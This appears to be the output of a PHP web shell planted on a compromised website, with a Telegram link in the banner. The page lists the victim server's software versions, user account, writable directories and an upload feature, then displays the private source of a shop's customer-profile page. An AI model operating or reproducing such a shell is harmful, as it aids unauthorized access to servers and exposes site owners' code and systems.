https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/kanvakanva.com/public_html/application/views/account/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/kanvakanva.com/public_html/application/views/account/profile.php
<?php defined('BASEPATH') OR exit('No direct script access allowed'); ?>

<!-- BEGIN CONTENT PAGE -->
<section class="all-content-page">			
    <!-- Banner Categories -->					
    <div class="baner-top-categories">
        <div class="categories-text-hero">
            <h1>MY PROFILE</h1>
        </div>
        <img src="<?=base_url()?>assets/frontend_new/images/banner/11.jpg" alt="banner">
    </div>		

	<div class="container">
		<div class="breadcrumbs">
            <a href="<?=base_url()?>">Home</a>
			<a href="<?=base_url()?>account">Account</a>
            <span>Profile</span>
        </div>	

		<div class="row">
			<div class="col-sm-2" style="border-right:1px solid #ccc;">


				<h4>MY ACCOUNT</h4>

				<p>view &amp; edit your details</p> 
				<p style="font-size: 18px;color: #dd9b5e;font-weight: 600;">Point : <?= number_format($point,0,",","."); ?> 
					
				<br>

				<p><a href="<?= base_url('account/profile'); ?>">MY PROFILE</a></p>

				<p><a href="<?= base_url('account/shipping'); ?>">SHIPPING DETAILS</a></p>

				<p><a href="<?= base_url('account/order_history'); ?>">ORDER HISTORY</a></p>

				<p><a href="<?= base_url('account/point_history'); ?>">POINT HISTORY</a></p>

				<!-- <p><a href="<?= base_url('account/wishlist'); ?>">MY WISHLIST</a></p> -->

			</div><!-- end col-sm-4--> 

			<div class="col-sm-10">


				<h4>MY PROFILE</h4>   
				<?= $this->session->flashdata('success'); //to display success message ?> 

				<br>

				<!-- Form Start --> 
				<?php echo form_open('account/update_profile'); ?>
				
				<div class="row" style="margin-bottom:10px">
					<div class="col-md-2">Email</div>
					<div class="col-md-4">
						<?= $customer->email; ?>
					</div> 
				</div>
				
				<div class="row" style="margin-bottom:10px">
					<div class="col-md-2">Name</div>
					<div class="col-md-4">
						<?php
							$data = array( 
							'name'        => 'name',
							'id'          => 'name',
							'value'       => $customer->name,
							'maxlength'   => '200',
							'class'       => 'form-control',
							);

							echo form_input($data);
							echo '<span>' . form_error('name') . '</span>';
						?>
					</div> 
				</div>
				
				<?php
					$point_birthday = $this->db->query("SELECT birthday FROM reward_config WHERE id_reward_config='1'")->row('birthday');
					$birthday = '';
					if($point_birthday > 0){
						$birthday = "<div style='color:#9b9b9b;margin-bottom:5px;'> Get ".number_format($point_birthday,0,",",".")." Points If Your Birthday</div>";
					}
				?>
				<div class="row" style="margin-bottom:10px">
					<div class="col-md-2">Date of Birth</div>
					<div class="col-md-4">
						<?php
							$data = array( 
								'name'        => 'birthday',
								'id'          => 'birthday',
								'value'       => $customer->birthday,
								'type'        => 'date',
								'class'       => 'form-control',
								'style'       => 'padding-top:0'
							);
							echo form_input($data);
						?>
						<?php if($birthday_check != null && $birthday_check != '0000-00-00'): ?>
							<script>document.getElementById("birthday").disabled = true;</script>
						<?php endif; ?>
						<?=$birthday?>
					</div> 
				</div>

				<div class="row" style="margin-bottom:10px">
					<div class="col-md-2">New Password</div> 
					<div class="col-md-4">
						<?php
							$data = array( 
							'name'        => 'password',
							'id'          => 'password',
							'value'       => '',
							'maxlength'   => '200',
							'size'        => '50',
							'class'       => 'form-control',
							);

							echo form_password($data);
							echo '<span>' . form_error('password') . '</span>';
						?>
					</div>
				</div>
				
				<div class="row" style="margin-bottom:10px">
					<div class="col-md-2"></div> 
					<div class="col-md-4">
						<input type="submit" name="update_profile" value="UPDATE PROFILE" class="button submit place-order w-m-100"/>
					</div>
				</div>

			<?php echo form_close(); ?>	

			</div><!-- end col-sm-8-->

		</div><!-- end row-->
	</div><!-- end container -->

</section>

https://t.me/RX1948 - 2025